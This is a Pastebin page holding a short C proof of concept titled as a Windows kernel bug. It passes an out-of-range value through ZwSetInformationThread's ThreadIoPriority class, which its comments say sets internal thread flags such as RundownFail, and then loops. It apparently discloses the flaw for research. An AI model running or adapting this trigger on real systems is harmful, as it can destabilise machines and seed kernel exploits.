SHARE
TWEET

Kernel Bug #0 ThreadIOPriority

waliedassar Jan 23rd, 2013 441 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //http://waleedassar.blogspot.com
  2. //http://www.twitter.com/waleedassar
  3.  
  4. #define ThreadIoPriority       0x16
  5. int main()
  6. {
  7.     //0xFF3FFF3C;---> No RundownFail, no NeedsWorkingSetAging.
  8.     //0xFF3FFFFC;---> Includes RundownFail & NeedsWorkingSetAging.
  9.     unsigned long prior=0xFF3FFF3C;            
  10.     int ret=ZwSetInformationThread(GetCurrentThread(),ThreadIoPriority,&prior,4);
  11.     if(ret>=0)
  12.     {
  13.         unsigned long priorr=0;
  14.         ret=ZwQueryInformationThread(GetCurrentThread(),ThreadIoPriority,&priorr,4,0);
  15.         printf("Current Thread IO priority is %x\r\n",priorr);
  16.  
  17.         unsigned long xx=0;
  18.         while(1)
  19.         {
  20.             printf("Hey %x\r\n",xx);
  21.             Sleep(1000);
  22.             xx++;
  23.         }
  24.  
  25.         unsigned long xxx=0;
  26.         scanf("%d\r\n",&xxx);
  27.     }
  28.     ExitProcess(0);
  29.     return 0;
  30. }
RAW Paste Data
Pastebin PRO Summer Special!
Get 60% OFF on Pastebin PRO accounts!
Top